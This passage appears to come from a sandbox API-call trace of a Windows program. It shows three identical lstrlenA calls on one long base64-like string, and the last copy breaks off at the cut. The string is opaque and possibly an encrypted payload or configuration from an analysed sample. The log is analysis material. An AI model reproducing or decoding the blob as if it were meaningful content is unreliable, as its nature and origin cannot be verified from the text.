	[0084.640] lstrlenA (lpString="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") returned 5820
	[0084.640] lstrlenA (lpString="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") returned 5820
	[0084.640] lstrlenA (lpString="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